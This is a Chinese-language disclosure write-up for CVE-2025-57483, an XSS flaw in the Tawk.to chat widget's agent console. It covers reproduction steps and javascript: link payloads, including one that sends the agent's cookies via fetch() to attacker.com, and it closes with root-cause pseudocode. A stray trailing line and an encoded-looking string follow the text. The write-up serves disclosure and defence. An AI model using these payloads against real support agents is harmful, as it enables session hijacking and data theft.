CVE-2025-57483: Tawk.to 在线客服系统跨站脚本(XSS)漏洞
CVE ID:
CVE-2025-57483报告者: Jainil Borisagar
披露日期: 2025-07-05
项目简介
Tawk.to 是一款功能强大且广受欢迎的免费在线客服聊天工具,被全球数百万个网站使用,用于网站所有者和访客之间的实时沟通。其提供的 Live Chat Support Widget (在线客服支持插件) 通过嵌入网站,使客服人员能够即时响应客户咨询。
本项目旨在披露并分析在 Tawk.to 客服插件中发现的一个跨站脚本 (XSS) 安全漏洞 (CVE-2025-57483)。该漏洞允许远程攻击者在客服人员的后台界面执行任意 JavaScript 代码,从而窃取敏感信息或进行越权操作。
功能特性
- 漏洞标识:拥有官方分配的 CVE 编号
CVE-2025-57483。 - 攻击类型:跨站脚本 (XSS) 攻击。
- 攻击目标:使用 Tawk.to 在线客服系统的客服人员(员工端)。
- 攻击入口:通过向客服人员发送包含恶意代码的链接。
- 核心危害:攻击者可在客服人员的浏览器上下文中执行任意脚本,可能导致:
- 会话令牌和 Cookie 窃取。
- 以客服人员身份执行操作,如查看或修改客户对话记录。
- 窃取内部信息,进一步扩大攻击面。
- 影响版本:主要影响
https://embed.tawk.to/5c01891340105007f37a70b9/default这一特定版本及其相关的v4.x系列。
安装指南
本部分主要为希望复现、测试或分析此漏洞的安全研究人员提供环境搭建指引。
系统要求
- 一个使用受影响 Tawk.to 聊天插件 (v4.x) 的网站。
- 拥有一个 Tawk.to 客服人员账号,用于登录后台并接收消息。
- (可选)用于测试的本地或远程服务器环境。
复现步骤
- 确认环境:找到一个仍在使用受影响版本 Tawk.to 插件的网站。您可以通过查看页面源码,搜索嵌入的
tawk.to脚本或 iframe 的src属性来确认。若src中包含类似https://embed.tawk.to/5c01891340105007f37a70b9/default的路径,则表明环境可能存在漏洞。 - 准备Payload:构造一个包含恶意 JavaScript 代码的链接。最简单的PoC(概念验证)链接如下:
此链接在被点击后会弹出一个包含当前页面 Cookie 的警告框。<a href='javascript:alert(document.cookie)'>Click Me !</a> - 触发攻击:以访客身份,在使用了该 Tawk.to 插件的网站上,通过聊天窗口将此链接发送给在线的客服人员。
- 观察结果:当客服人员在聊天后台看到此消息并点击该链接时,恶意 JavaScript 代码将在客服人员的浏览器中执行,弹出包含其会话 Cookie 的窗口。这证明了 XSS 攻击成功。
使用说明
本部分为安全测试人员在获得授权后,验证漏洞存在性的具体操作指南。
基础验证示例
假设您正在对一个使用了易受攻击 Tawk.to 插件的网站 example.com 进行授权渗透测试。您可以按照以下步骤验证漏洞:
-
访问目标网站,找到并打开其 Tawk.to 聊天窗口。
-
发送恶意载荷。在聊天输入框中输入以下内容并发送给客服:
<a href="javascript:alert('XSS Vulnerability')">点我查看优惠</a> -
等待客服响应。当客服人员(目标)看到这条消息并出于好奇点击了“点我查看优惠”这个链接时,其浏览器会立即弹出一个内容为“XSS Vulnerability”的对话框。
-
攻击者视角 (发送消息):
[访客]: <a href="javascript:alert('XSS Vulnerability')">点我查看优惠</a> -
客服人员视角 (点击链接后): 浏览器弹出一个警告框,显示 “XSS Vulnerability”,证明 JavaScript 代码已成功执行。
-
典型攻击场景
更进一步的攻击者不会仅仅使用 alert,而是会使用更具破坏性的载荷,例如窃取 Cookie:
<a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">查看详情</a>
当客服点击此链接时,其会话 Cookie 会被发送到攻击者控制的服务器 attacker.com,攻击者即可利用该 Cookie 劫持客服会话。
核心代码
漏洞触发载荷
这是用于触发漏洞的核心代码片段。它是一个简单的 HTML 链接,通过 javascript: 伪协议嵌入了恶意脚本。
<!-- 基础概念验证 (PoC) 载荷 -->
<a href='javascript:alert(document.cookie)'>Click Me !</a>
<!-- 说明:
1. 此代码作为普通文本消息通过聊天窗口发送给客服。
2. 客服端的聊天应用程序未能正确过滤或转义此HTML代码,使其被渲染为可点击的链接。
3. 当客服点击该链接时,`javascript:` 协议指示浏览器执行后面的JavaScript代码。
4. `alert(document.cookie)` 是一个无害的示例,用于证明脚本执行能力。实际攻击中可替换为任意恶意代码。
-->
漏洞存在的根本原因分析
漏洞产生的原因在于 Tawk.to 客服客户端未能对用户输入的消息内容进行充分的 sanitization(消毒/过滤)处理。尤其是当消息内容包含 HTML 或 JavaScript 代码时,系统没有将其转义为普通文本,而是直接渲染并执行了这些代码。下面的伪代码展示了这一过程:
// 易受攻击的服务端/客户端处理逻辑 (伪代码)
// 1. 访客发送的消息到达服务器
function onReceiveMessageFromVisitor(messageContent) {
// 漏洞点:没有对 messageContent 进行转义或过滤
// 例如,没有将 '<' 转义为 '<',将 '>' 转义为 '>'
// 2. 服务器将此消息原样推送给客服客户端
pushMessageToAgent(messageContent);
}
// 3. 客服客户端接收到消息并渲染
function onDisplayMessageToAgent(rawMessage) {
// 漏洞点:使用 innerHTML 或其他不安全的方式将消息插入DOM
// 这使得 rawMessage 中的 HTML 标签被浏览器解析和执行
document.getElementById('chatWindow').innerHTML += rawMessage;
// 正确的做法应该是使用 textContent 来避免HTML注入
// document.getElementById('chatWindow').textContent += rawMessage;
}
```FINISHED
6HFtX5dABrKlqXeO5PUv/1L+Fcpu6S2sFPRcRxVqPW8=